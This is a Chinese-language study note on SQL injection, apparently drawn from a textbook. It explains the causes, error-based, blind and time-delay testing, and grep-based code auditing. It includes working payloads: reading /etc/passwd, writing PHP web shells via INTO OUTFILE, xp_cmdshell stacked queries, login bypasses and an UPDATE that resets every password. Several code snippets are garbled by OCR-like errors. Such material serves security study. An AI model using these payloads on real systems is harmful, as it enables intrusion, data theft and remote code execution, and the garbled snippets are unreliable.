SQL注入学习


SQL注入学习

原理

数据库与web交互

数据库驱动的Web应用通常包含三层:表示层、逻辑层和存储层

Web浏览器(表示层)向中间层(逻辑层)发送请求,后者依次调用由位于应用层 的应用服务器提供的API,应用层通过查询、更新数据库(存储层)来响应该请求。

SQL注入的产生过程

构造动态字符串

简单来说就是将得到参数拼接到查询语句,然后执行,下列不当将会导致SQL注入

SELECT * FROM TABLE WHERE FIELD = 'input'

input 在不同语言运行的服务器上写法不同
PHP
$query = "SELECT * FROM table WHERE field ='$_GET["input"]'"
.NET
query = "SELECT * FROM table WHERE field = ' " + request.getParameter("input") + " ' " 
  • 转义字符处理不当

    $SQL = "SELECT * FROM table WHERE field = '$_GET["input"]'"

    SQL数据库将单引号字符'解析成代码与数据间的分界线,单引号外面的内容均是需要运行的代码,而用单引号引起来的内容均是数据。

    SELECT * FROM table WHERE field = ''
    报错
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1
    这是一种报错

    出现该错误是因为单引号字符被解析成了字符串分隔符。运行时执行的SQL查询在语法上存在错误(它包含多个字符串分隔符),所以数据库抛出异常。SQL数据库将单引号字符看作特殊字符(字符串分隔符)。

    当然还有其他的转义字符,比如oracle中,空格 双斜线|| 逗号, 点号. */以及双引号" 这里不详细讲解。

    ||将前后的执行结果连接

    */ 结束注释

  • 类型处理不当

    接受的参数类型不一定是字符串,也可能是数字型,这里一味地过滤单引号也就没多大用处。

    数字型or 1=1大概判断,一旦存在并有FILE权限,就能使用下面代码注入

    1 UNION ALL SELECT LOAD_FILE('/etc/passwd')--
    1 UNION SELECT "<? system($_REQUEST['cmd']); ?>"INTO OUTFILE "/var/www/html/victim.com/cmd.php"--
  • 查询语句组装不当

    $SQL = "SELECT". $_GET["columnl"]. ",". $_GET["column2"].",".
    $_GET["column3"]. "FROM". $_GET["table"];

    这种随便改个包发送,数据库基本上就没了,因为所有参数可改

  • 错误处理不当

    就如第一个报错,报错信息完全不必展示给用户看,不展示,自然会阻断部分攻击者。

  • 多个提交处理不当

    这里有点条件竞争的意思

    第一个提交需要验证码,第二个却没设置,正常用户可能会从第一个提交进入,攻击者就会用第二个提交FUZZ,这就和某些应用分享一样,不验证是否成功,虚晃一招。

不安全的数据库配置

默认的数据库系统管理员账号,预置的系统库,表,很多的默认配置都是不安全的,试想一下,知道你的管理员账号,爆破密码会降低多少数量级的难度

降低权限是一个好习惯

--Oracle语句,列举当前用户可访问的所有表
SELECT OWNER, TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME; 
--MySQL语句,列举当前用户可访问的所有表和数据库
SELECT table_schema, table_name FROM information_schema.tables;
--MSSQL语句,使用系统表列举所有可访问的表
SELECT name FROM sysobjects WHERE xtype = 'U';
--MSSQL语句,使用目录视图列举所有可访问的表
SELECT name FROM sys.tables;

SQL注入测试

寻找注入点

借助推理进行测试

识别数据输入

GET请求、POST请求、HTTP其他与数据库有交互的都可能存在注入,比如COOKIE注入。

操纵参数

http://sql.com/index.php?id=1

这个1就是参数,这个参数是可以控制的,可以用来测试,比如'

先将id改为一个不常见的参数,报错

Warning: mysql_fetch_assoc () : supplied argument is not a valid MySQL result resource in XXXX on line 34

加一个单引号http://sql.com/index.php?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1

还有一些其他的测试方法

在Oracle和PostgreSQL中的漏洞。向Web服务器发送下面两个请求:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi'||'kes
在Microsoft SQL Server中与之等价的请求为:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi'+'kes
在MySQL中与之等价的请求为(请注意两个单引号之间的空格):
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi''kes
信息工作流

数据库错误

就是上文提到的报错

常见的sql漏洞
Sql Server错误

假设在victim.com应用中找到了一个名为showproducts.php的页面,页面脚本接收名为id 的参数并根据id参数的值显示单个商品:

http://www.victim.com/showproduct.aspx?id=2

如果将id参数的值修改成下列内容:

http://www.victim.com/showproduct.aspx?id=attacker

应用会返回类似于下列内容的错误:

Server Error in '/'' Application.
Invalid column name 'attacker'.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. Exception Details: System.Data.SqlClient.SqlException: Invalid column name 'attacker'.

在这个错误的基础上,可以猜想第一个示例中应用创建的SQL语句应如下:

SELECT * FROM products WHERE idproduct=2

上述语句返回的结果集是idproduct字段等于2时的商品。如果注入一个非数字值,比如 attacker,那么最终发送给数据库服务器的SQL语句将如下所示:

SELECT * FROM products WHERE idproduct=attacker

这里mssql认为attacker不是一个数字,那么他就是个列名

然后服务器从数据库中查找attacker列,没找到就返回了Invalid column name 'attacker'.

这里的attacker就可以做文章

http://www.victim.com/showproducts.aspx?category=bikes' and l=0/@@ version;--

传入参数' and 1=0/@@version;--

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988 - 2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790:)' to a column of data type int.

可以看到这里的报错和上面是一个格式,错误信息展示了@@version查询的内容

原理:mssql的类型转换功能,0/@@version除法运算,sql将这两个操作数都作为操作数,将@@version当做数字解析,操作失败,将返回了这个错误。换成其他参数也是一个原理。

还有一些技术可用于显示数据库执行的语句的信息,比如使用having 1=1:
http://www.victim.com/showproducts.aspx?category=bikes' having '1' ='1
应用响应如下:
Server Error in '/' Application.
Column 'products.productid' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

having字句和group by 字句结合使用,在select中使用having过滤group by ,group by要求select语句选择的字段是某个聚合函数的结果,或者包含在group by 字句中,如果不满足,那么数据库返回一个错误,显示错误的第一列,该技术可以用来枚举表的列。

http://www.victim.com/showproducts.aspx?category=bikes' group by productid having '1' ='1
#products.name

http://www.victim.com/showproducts.aspx?category=bikes' group by productid,name having '1' ='1
#products.price

然后用上面提到类型转换错误检索列对应的值

http://www.victim.com/showproducts.aspx?category=bikes' and 1=0/name;--

Server Error in '/' Application.
Syntax error converting the nvarchar value 'Claud Butler Olympus D2' to a column of data type int.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

在身份验证机制中,可能枚举到用户名和密码的列,这样便可能登录有管理员权限的账号。

http://www.victim.com/logon.aspx?username=test' and User not in ('Admin') and l=0/User and '1' ='1

这个payload将Admin用户排除,查找其他用户

关闭ASP.NET中服务器向远程访问者显示详细错误信息

web.config
<configuration>
<system.web>
<customErrors mode="Off"/>
</system.web>
</configuration>

设置错误重定向

<configuration>
<system.web>
<customErrorsdefaultRedirect="Error.aspx" mode="On"〉
<errorstatusCode="403H redirect='*AccessDenied.aspxn/>
<errorstatusCode="404" redirect="NotFound.aspx"/>
<errorstatusCode="500" redirect="InternalError.aspx"/>
</customErrors>
</system.web>
</configuration>
Mysql错误

常见错误代码

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/victim.com/showproduct.php on line 8

这个报错是mysql_fetch_array()产生的

mysql一般用mysql_error()来展示错误

<?php
//连接数据库 
mysql_connect("[database]", "[user]", "[password]") or
//检查错误,处理无法访问数据库的情况
die("Could not connect: ".mysql_error());
//选择数据库
mysql_select_db("[database_name]");
//从GET请求中获取category值
$category = $_GET["category"];
//创建并执行一条SQL语句
$result = mysql_query("SELECT * from products where category='$category'");
if (!$result) { //如果有任何错误
//检査错误并显示错误信息
die("<p>Error: '.mysql_error().'</p>');
} else {
//遍历査询结果
while ($row = mysql_fetch_array($result.MYSQL_NUM))	{
printf ("ID: %s Name: %s", $row[0], $row[1]);
}
//释放结果集
mysql_free_result($result);
?>

传入单引号做参数,报错,这是mysql_error()产生的

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

传入一个不是字符串的(不在单引号内)作参数,便会被解析成列名,报错

Error: Unknown column 'attacker' in 'where clause'

和mssql有异曲同工之妙

Oracle错误

常见错误

执行了语法上不正确的SQL语句

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)

Oracle数据库检测到SQL语句中有一个使用单引号引起来的字符串未被正确结束,Oracle要求字符串必须使用单引号结束。注入一个单引号时会发现产生了下列错误:

Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

.NET环境下的注入单引号情况:

Exception Details: System.Data.OleDb.OleDbException: One or more errors occurred during processing of command.
ORA-00933: SQL command not properly ended

下面的例子展示了从.NET应用返回的一个错误,该程序执行的语句中包含未使用单引号 引起来的字符串:

ORA-01756: quoted string not properly terminated
System.Web.HttpUnhandledException: Exception of type
'System.Web.HttpUnhandledException' was thrown.-->
System.Data.OleDb.OleDbException: ORA-01756: quoted string not properly terminated

PHP的ociparse()函数用于准备要执行的Oracle语句。下面是该函数调用失败时PHP引擎 产生的一个错误示例:

Warning: ociparse () [function.ociparse] : ORA-01756: quoted string not properly terminated in /var/www/victim.com/ocitest.php on line 31

如果ociparse()函数调用失败且未对该错误进行处理,那么应用会因为第一次失败而显示一 些其他错误,如下所示:

Warning: ociexecute(): supplied argument is not a valid OCI8-Statement resource in c:\www\victim.com\oracle\index.php on line 31

分析报错代码

java.sql.SQLException: ORA-00907: missing right parenthesis atoracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:134) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:289) at
oracle.jdbc.ttc7.Oall7.receive(Oall7.java:582) at
oracle.jdbc.ttc7.TTC7Protocol.doOall7(TTC7Protocol.java:1986)

数据库报告SQL语句中存在”missing right parenthesis”(缺少右括号)错误。很多原因会引发该错误。最常见的情况是攻击者在嵌套SQL语句中拥有某种控制权。例如:

SELECT fieldl, field2,    /* 选择第一和第二个字段 */
(SELECT fieldl        /* 开始子查询 */
FROM table2
WHERE something = [attacker controlled variable])   /* 结束子查询 */
as field3                        /*从子査询返回*/
FROM tablel

上述例子展示了一个嵌套查询。主SELECT语句执行括号中的另一条SELECT语句。如果攻击者向第二条查询语句注入某些内容并将后面的SQL语句注释掉,那么Oracle将返回”missing right parenthesis” 错误。

PostgreSQL错误
<?php
//连接并选择数据库
$dbconn = pg_connect("host=localhost dbname=books user=tom password=myPassword")
or die('Could not connect:	'.pg_last_error());
$name = $_GET["name"];
//执行SQL查询
$query = "SELECT * FROM \"public\".\"Authors\" WHERE name='$name'"; $result = pg_query($dbconnz $query) or die('Query failed: '.pg_last_error()); //将查询结果以THTML形式输出
echo "<table>\n";
while ($line = pg_fetch_array($result,null,PGSQL_ASSOC)){
echo "\t<tr>\n";
foreach ($line as $col_value) {
echo "\t\t<td>$col_value</td>\n";
}
echo "\t</tr>\n";
}
echo "</table>\n";
//释放结果集
pg_free_result($result);
//关闭连接
pg_close($dbconn);
?>

pg_query使用传入的数据库执行sql查询语句

pg_last_error获取数据库连接的最新出错信息

http://www.victim.com/list_author.php?name='
Query failed: ERROR: unterminated quoted string at or near "''"

SQL代码由于其他原因执行失败时,PostgreSQL数据库将返回一个常规错误:
Query failed: ERROR: syntax error at or near ""

PostgreSQL开发,利用PostgreSQL JDBC Driver

PostgreSQL JDBC Driver处理缺少结束引号的字符串时,会有下面的报错

org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near "'\' "
at org.postgresql.core.v3.QueryExecutorlmpl.receiveErrorResponse(Query ExecutorImpl.java:1512)
at org.postgresql.core.v3.QueryExecutorlmpl.processResults(Query
ExecutorImpl.java:1297)
at org.postgresql.core.v3.QueryExecutorlmpl.execute(QueryExecutorlmpl. java:188)
at org.postgresql.jdbc2.AbstractJdbc2Statement.
execute(AbstractJdbc2Statement.java:430)
at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags (AbstractJdbc2Statement.java:332)
at org・postgresql.jdbc2.AbstractJdbc2Statement.executeQuery
(AbstractJdbc2Statement.java:231)
at org.postgresql.jdbc2.AbstractJdbc2DatabaseMetaData.getTables (AbstractJdbc2DatabaseMetaData.java:2190)
应用程序的响应
常见错误

当注入一个页面一直返回相同的报错页面,这时候不能直接判断为SQL注入

注入代码

SELECT *
FROM products
WHERE category='attacker''

返回一个报错页面,接着判断是否是sql注入产生的报错

SELECT *
FROM products
WHERE category='attacker' or '1'='1

or '1'='1'是一个条件永真式,并且是有意义的,不影响其他部分,可以返回表中的所有行,但是数据库大的时候,返回所有行会很久,这是可以注入

or '1'='2'只要不影响sql语句就行

如果不返回报错页面了,那么应该就是sql注入引起的报错了

也可以用永假式and '1'='1',如果不返回信息,则是sql注入,和永真相反

当然,永假式也可能返回信息,可能是union联合查询

HTTP代码错误

web服务器请求web源时发生错误,会返回500状态码

还一种是产生错误后302重定向到其他页面

不同大小的响应

每次返回的响应都有所不同,比较这些细微的不同,可能找到一些注入线索

比如返回的内容,状态码……

SQL盲注

一个页面会因为不同的操作产生不同的状态,用不同的状态来表示注入的结果,自动化注入不同的内容,并根据响应状态判断注入结果,这就是SQL盲注,当然,要先找到注入点

例子

http://www.victim.com/showproduct.php?id=2 or 1=1
--返回第一件商品
http://www.victim.com/showproduct.php?id=2 or 1=2
―返回第二件商品

id=2时是正常查询, 加上or 1=1后会查询所有列,数据库检测该语句为异常,会返回id=1的页面,而or 1=2相当id=2 不影响sql语句,会进入id=2的页面

这样就可以通过返回页面判断注入是否成功 or +payload

确认SQL注入

区别数字和字符串

数字不需要使用单引号来表示

SELECT * FROM products WHERE idproduct=3
SELECT * FROM products WHERE value > 200

其他类型使用单引号来表示

SELECT * FROM products WHERE name = 'Bike'
SELECT * FROM products WHERE published_date>'01/01/2013'

内联SQL注入

内联注入是指向查询注入一些SQL代码后,原来的代码仍然会全部执行

字符串内联注入

实例——用户提交用户和口令发送到数据库查询对用户进行验证

查询语句
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

单引号报错和前面一样

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1

这里可以直接' or 1=1 #绕过验证登录,但是要不改变sql语句的结构,就不能注释后面的语句

这时'or '1'='1不会得到想要结果,因为and、or的优先级,and优先

username='' or '1'='1 and password=''按照

username='' or ('1'='1' and password='')执行

所以改变payload' or 1=1 or '1'='1

当只允许返回一行时,指定返回admin 'admin' and 1=1 or '1'='1

在passwd字段注入,'or '1'='1返回所有行

UPDATE users
SET password = 'new_password'
WHERE username = 'Bob' and password = 'old_password' OR '1'= '1'

' OR '1'= '1是注入代码

功能是将所有用户密码更新

数字值内联注入
SELECT *
FROM messages
WHERE uid=[USER ENTRY]
ORDER BY received

少了引号的闭合,更简单了,直接构造永真返回全部num or 1=1

终止式SQL注入

攻击者在SQL注入代码时,通过注释掉剩余部分查询语句,从而结束原来的查询语句

数据库注释语法

/* */可以用来绕过过滤空格

1 or 1=1 过滤空格变成1or1=1

/* */绕过 1/**/or/**/1=1

还能用来检测SQL注入对注释的处理id=1/*test*/,没有影响话可能存在注入

使用注释

使用前面相同的用户登录验证

查询语句
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

' or 1=1 -- or ' or 1=1 #返回所有行

SELECT username, password FROM users WHERE username='' or 1=1 -- ' and password='$passwd' LIMIT 0,1

admin';# 冒充admin登录

username=admin';/*' passwd=*/'这种用于存在多个攻击参数

username = 'admin';/*' AND passwd = '/*''

注释后剩一对单引号,连接形成空字符串,对查询无影响

可以用来判断数据库类型

执行多条语句

还有另一个名字,堆叠注入,终止了一条语句,可以创建一条全新的没有限制的语句,简单说就是将原始语句结束,在后面加几条新语句

select a from q;select b from w;

mssql 6.0后允许在同一连接句柄上执行包含多条语句的字符串,Mysql 4.1后也引入该功能,默认不开启,Oracle不支持,除非使用PL/SQL

运用前面having 1=1和group up 技术

……id=22;select * from admin having 1=1;-- +

还有其他可利用技术

INSERT INTO administrators (username, password)
VALUES ('hacker', 'mysecretpassword')
?uid=45;exec master..xp_cmdshell 'ping www.google.com';-- 
SELECT '<?php echo shell_exec($_GET["cmd"]);?>'
INTO OUTFILE '/var/www/victim.com/shell.php';--

时间延迟

没有回显和报错信息被隐藏的时候,可以向数据库注入时间延迟,数据库返回的时间反映在web页面,用来确定是否有SQL注入

mssql内置的设置延迟的命令waitfor delay 'hours:minutes:seconds'

?id=1;waitfor delay '0:0:5';-- 

这个payload意义就是让数据库延迟5秒返回数据

mysql种没有时间延迟的函数,它使用一些执行时间很长的函数,来引入延迟。比如benchmark

benchmark(10000,encode('test','tets'))

将后面的命令执行10000次,这样时间就长了,为了更明显,可以增大次数

oracle PL/SQL

BEGIN
DBMS_LOCK.SLEEP(5);#休眠五秒
END;

限制:不能直接子查询,管理员才能使用DBMS_LOCK包

另一个方法

?id=32 or l=dbms_pipe.receive_ message('RDS',10)

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒

PostgreSQL

pg_sleep(10);

自动寻找SQL注入

  • 识别数据输入
  • 注入数据
  • 检测响应中的异常

工具

HP WebInspect
IBM Rational AppScan
HP Scrawlr
SQLiX
Paros Proxy/Zed Attack Proxy

复查代码中的SQL注入

在代码中找bug,有代码审计的味道,审计的是sql代码

复查源代码中的SQL注入

  • 静态代码分析:分析源代码,但不执行
  • 动态代码分析:在执行代码是分析
  • 渗入点(安全敏感函数):易受攻击的位置

从渗入点进入审查,找到注入参数的位置,分析函数

危险的编码行为

将未验证的输入拼接成SQL语句并执行
//在PHP中执行一条动态构造的SQL语句
mysql_query("SELECT * FROM table WHERE field = '$_GET["input"]'; 
//在C#中执行一条动态构造的SQL语句
SqlCommand command = new SqlCommmand("SELECT * FROM table WHERE field = '" + request.getParameter ("input") + "'" ,connection); 
//在Java中执行一条动态构造的SQL语句
ResultSet rs = s.executeQuery("SELECT * FROM table WHERE field = '" + request.getParameter ("input") + "'");
存储过程也会有SQL注入
// MS SQL Server中易受攻击的存储过程
CREATE PROCEDURE SP_StoredProcedure @input varchar(400) = NULL AS
DECLARE @sql nvarchar(4000)
SELECT @sql = 'SELECT field FROM table WHERE field ='''+ @input + ''''
EXEC (@sql)
// MySQL中易受攻击的存储过程
CREATE PROCEDURE SP_StoredProcedure (input varchar(400))
BEGIN
SET @param = input;
SET @sql = concat('SELECT field FROM table WHERE field=',@param);
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
End
--Oracle中易受攻击的存储过程
CREATE OR REPLACE PROCEDURE SP_StoredProcedure (input IN VARCHAR2) AS sql VARCHAR2;
BEGIN
sql :='SELECT field FROM table WHERE field = ''' || input || '''';
EXECUTE IMMEDIATE sql;
END;
//在PHP中动态地执行SQL存储过程
$result = mysql_query("select SP_StoredProcedure($_GET['input'])"); 
//在C#中动态地执行SQL存储过程
SqlCommand cmd = new SqlCommand("SP_StoredProceduren", conn);
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.Add (new SqlParameter ("@input",
request.getParameter("input")));
SqlDataReader rdr = cmd.ExecteReader();
//在Java中动态地执行SQL存储过程
CallableStatement cs = con.prepareCall("{call SP_StoredProcedure request.getParameter("input")}");
string output = cs.executeUpdate();
PHP中HTTP函数

php表单提交有两种方式:GET、POST

GET方式显式提交,地址栏可以看到请求参数,并且有大小限制

test.php?id=1&num=2

POST隐式提交,需要抓包才能看到参数,没有大小限制

& ;分割参数,=分割参数名称和值

一种特殊的参数cookie通常保存在服务器上用于验证

$_GET:一个关联数组,存放通过HTTP GET方法传递的变量。
$var=$_GET['name'];
$HTTP_GET_VARS:与$_GET相同,在PHP 4.1.0 中已弃用。
$var=$HTTP_GET_VARS['name'];
$_POST:一个关联数组,存放通过HTTP POST方法传递的变量。
$var=$_POST['name'];
$HTTP_POST_VARS:与$_POST 相同,在PHP 4.1.0 中已弃用。
$var=$HTTP_POST_VARS['name'];
$_REQUEST:一个关联数组,包含$_GET、$ POST$_(:001<^的内容。
$var=$_REQUEST['name'];
$_COOKIE:一个关联数组,存放通过HTTP cookie传递给当前脚本的变量。
$var=$_COOKIE['name'];
$HTTP_COOKIE_VARS:与$_COOKIE相同,在PHP 4.1.0 中已弃用。
$var=$HTTP_COOKIE_VARS['name'];
$_SERVER:服务器及执行环境的信息。
$var=$_SERVER['name'];
$HTTP_SERVER_VARS:与$_SERVER 相同,在PHP 4.1.0 中已弃用。
$var=$HTTP_SERVER_VARS['name'];

php.ini中register_globals=On时,将EGPCS(Environment、GET、POST、Cookie、Server)注册成全局变量,已被遗弃并且处于Off状态。

JAVA中HTTP函数

HTTP请求对象的类名和接口名称是HTTPServletRequest,引用是写成javax.servlet.HttpServletRequest

//getParameter()	返回所请求的给定参数的值
String string_variable = request.getParameter("name");
//getParameterValues()	以一个数组的方式返回给定参数请求的所有值
String[] string_array = request.getParameterValues("name");
//getQueryString()	返回请求的查询字符串
String string_variable = request.getQueryString();
//getHeaders()	返回所请求的头的值
sting string_variable = request.getHeader("User-Agent");
//getHeaders()	以一个字符串对象的枚举返回请求头
Enumeration enumeration_object = request.getHeaders("User-Agent");
//getRequestedSessionld()	返回客户端指定的 Session ID
String string_variable = request.getRequestedSessionld();
//getCookies()	返回一个cookie对象的数组
Cookie[] Cookie_array = request.getCookies();
//cookie.getValue()	返回所请求的给定cookie的值
String string_variale = Cookie_array.getValue("name");
C#中HTTP函数
//HttpCookieCollection	所有 cookie 的集合
HttpCookieCollection variable = Request.Cookies;
//Form―所有表单值的集合
string variable = Request.Form["name"];
//Headers	所有头的集合
string variable = Request.Headers["name"];
//Params 所有查询字符串、表单、cookie和服务器变量的组合集
string variable = Request.Params["name"];
//Querystring	所有查询字符串项的集合
string variable = Request.Querystring["name"];
//Servervariable	所有Web服务器变量的集合
string variable = Request.Servervariables["name"];
//Url	返回一个URI类型的对象,其Query属性包含了 URI中的信息,比如?foo=bar
Uri object_variable = Request.Url;
string variable = object_variable.Query;
//UserAgent	包含浏览器的用户代理头
string variable = Request.UserAgent;
//UserHostAddress	包含客户端的远程IP地址
string variable = Request.UserHostAddress;
//UserHostName	 含客户端的远程主机名
string variable = Request.UserHostName;

危险的函数

PHP
//mssql_query ()	向当前使用的数据库发送一个查询
$result = mssql_query($sql);
//mysql_query ()	向当前使用的数据库发送一个查询
$result = mysql_query($sql);
//mysql_db_query ()	选择一个数据库,在该数据库上执行一个查询
$result = mysql_db_query ($dbf $sql);
//oci_parse ()	在语句执行之前对其进行解析
$stmt = oci_parse($connection, $sql);
ociexecute($stmt);
//ora_parse ()	在语句执行之前对其进行解析
if (!ora_parse($cursorr $sql)) {exit;}
else { ora_exec($cursor);}
//mssql_bind ()	向存储过程添加一个参数
mssql_bind(&stmt, 1@param*, $variable, SQLVARCHAR, false, false, 100); $result = mssql_execute($stmt);
//odbc_prepare ()	准备一条执行语句
$stmt = odbc_prepare($db, $sql);
$result = odbc_execute($stmt);
//odbc_ exec ()	准备并执行一条SQL语句
$result = odbc_exec($db, $sql);
//pg_query一执行一个查询(曾称为pg_exec)
$result = pg_query($conn, $sql);
//pg_exec—*¥兼容性原因依然可用,但建议用户使用新的函数名
$result = pg_exec($conn, $sql);
/ /pg_send_query—发送—异步查询	乙
pg_send_query($conn, $sql);
//pg_send_query_params一向服务器提交一个命令并分离参数,无须等待结果
pg_send_query_params($conn, $sql, $params)
//pg_query_params一向服务器提交一个命令并等待结果
pg_query_params($conn, $sql, $params)
//pg_send_prepare一发送一个请求以创建一条具有指定参数的预备语句,无须等待完成
pg send_prepare($conn, "my_query", * SELECT * FROM table WHERE field = $11); pg_send_execute($conn, "my_query", $var);
//pg_pr epare—S送一个请求以劄建一条具有指定参数的预备语句并等待完成
pg_prepare($connz "my_query", 1 SELECT * FROM table WHERE field = $1 *); pg_execute($conn, nmy_query", $var);
//pg_select一根据指定的具有field=>value的assoc_array选择记录
$result = pg_select($conn, $table_name, $assoc_array)
//pg_update (Y—用数据更新与指定条件_的记录
pg_update($conn, $arr_update, $arr_where);
//pg_insert ()—将 assoc_array 的值插入到 table_name 指定的表中
pg_insert($conn, $table_name, $assoc_array)
//pg_delete () 一根据assoc_array中指定的键和值删除表中的记录
pg_delete($connr $table_name, $assoc_array)
Java
//createStatement ()一仓d建一个语句对象以便向数据库发送SQL语句
statement = connection.createStatement();
//prepareStatement () 一创建一条预编译的SQL语句并将其保存到对象中
PreparedStatement sql = con.prepareStatement(sql);
//executeQuery () 一 行给定的SQL语句,从指定的表中获取数据
result = statement.executeQuery(sql);
//executeUpdate ()— 行一条SQL语句,该语句可能是一条条返回任何值的INSERT、UPDATE或 //DELETE 语句
result = statement.executeUpdate(sql);
//execute ()— 行给定的SQL语句,从指定的表中获取数据
result = statement.execute(sql);
//addBatch () 一将指定的SQL命令添加到当前命令列表中
statement.addBatch(sql);
statement.addBatch(more_aql);
C#

.NET开发使用下列命名空间

System.Data.SqlClient: SQL Server 的.NET Framework Data Provider(.NET 框架数据提供程序)
System.Data.OleDb: OLE DB 的.NET Framework Data Provider
System.Data.OracleClient: Oracle 的.NET Framework Data Providero
System.Data.Odbc: ODBC 的.NET Framework Data Provider
//SqlCommand()  用于构造或发送SQL语句或存储过程
SqlCommand command = new SqlCommand(sql, connection);
//SqlParameter()  用于向 SqlCommand 对象添加参数
SqlCommand command = new SqlCommand(sql,connection);
command.Parameters.Add("@param", SqlDbType.VarChar, 50).Value = input; 
//OleDbCommand()  用于构造或发送SQL语句或存储过程
OleDbCommand command = new OleDbCommand(sql,connection);
//OleDbParameter()  用于向 OleDbCommand 对象添加参数
OleDvCommand command = new OleDbCommand($sql,connection);
command.parameters.Add("@paran", OleDbType.VarChar, 50).Value = input; 
//OracleCommand()  用于构造/发送SQL语句或存储过程
oracleCommand command = new OracleCommand(sql,connection);
//OracleParameter()  用于向 OracleCommand 对象添加参数
OracleCommand command = new OracleCommand(sql,connection); command.Parameters.Add("@param", OleDbType.VarChar,50).Value = input; 
//OdbcCommand()  用于构造或发送SQL语句
OdbcCommand command = new OdbcCommand(sql,connection);
//OdbcParameter()  用于向 OdbcCommand 对象添加参数
OdbcCommand command = new OdbcCommand(sql,connection);
command.Parameters.Add("@paramn",OleDbType.VarChar,50) .Value = input;

跟踪数据

跟踪PHP中的数据

首先注意到register_globalsmagic_quotes的状态

register_globals负责将EGPCS注册成全局变量,magic_qoutes过滤单引号、双引号、反斜线、NULL字符。

接下来排查代码,搜索php源文件目录,寻找mssql_query()、mysql_query()、mysql_db_query()作用:直接将用户输入插入SQL语句中

用以下命令打印匹配的内容文件名和行号

$ grep -r -n
"\(mysql\|mssql\|mysql_db\)_query\(.*\$\(GET\|\POST\)".*\)" src/ | awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'
filename: src/mssql_query.vuln.php
line: 11
match: $result = mssql_query("SELECT * FROM TBL WHERE COLUMN ='$_GET['var']'");
filename: src/mysql_query.vuln.php
line: 13
match: $result = mysql_query("SELECT * FROM TBL WHERE COLUMN = '$_GET['var']'",$link);

寻找oci_parse、ora_parse作用:直接将用户输入插入SQL文件中,优先级大于oci_exec、ora_exec、oci_execute

命令与前面相识

$ grep -r -n  "\(oci\|ora\)_parse\(.*\$_\(GET\|\POST\).*\)" src/ |
awk -F: 1{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}' 
filename: src/oci_parse.vuln.php
line: 4
match: $stid = oci_parse($conn, "SELECT * FROM TABLE WHERE COLUMN = '$_GET['var1]'");
filename: src/ora_parse.vuln.php
line: 13
match: ora_parse($curs,"SELECT * FROM TABLE WHERE COLUMN ='$_GET['var']'");

寻找odbc_prepare()、odbc_exec()作用:直接将用户输入插入SQL文件中,odbc_prepare()先于odbc_execute()被编译成SQL语句

$ grep -r -n "\(odbc_prepare\|odbc_exec\)\(.*\$_\(GET\|\POST\).*\)" src/ | awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'

寻找mssql_bind()作用:直接将用户输入插入到SQL文件中,优先级大于mssql_execute()

$ grep -r -n "mssql_bind\(.*\$_\(GET\|\POST\).*\)" src/ | awk -F:
'{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'
#形如
$sql = "SELECT * FROM TBL WHERE COLUMN = '$_GET['var']'";
$result = mysql_query($sql, $link);

上面的命令不能匹配,将上面的命令合并优化得到

$ grep -r -n "mssql_query(\|mysql_query(\|mysql_db_query(\|oci_parse (\|ora_parse(\|mssql_bind(\|mssql_execute(\|odbc_prepare(\|odbc_execute (\|odbc_execute(\|odbc_exec("src/ | awk -F:'{print
"filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'

理想获得

filename: src/SQLi.MySQL.vulnerable.php
line: 20
match: $result = mysql_query($sql);

mysql_query()向数据库发送一条查询,但不知道$sql的值,无法判断是否被污染,所以跟踪$sql变量

$ grep -r -n "\$sql" src/ 丨 awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'
#变量可能重用,不采用
$ grep -i -r -n "\$sql =.*\"\(SELECT\|UPDATE\|INSERT\|DROP\)" src/ | awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'
#使用sql语句查找,缩小排查

理想获得

filename: src/SQLi.MySQL.vulnerable.php
line: 20
match: $sql = "SELECT * FROM table WHERE field = '$_GET['input']'";

这是可以判断存在SQL注入

另一种情况

filename: src/SQLi.MySQL.vulnerable.php
line: 20
match: $sql = "SELECT * FROM table WHERE field = '$ input'";

又不能判断$input 是否被污染,跟踪$input

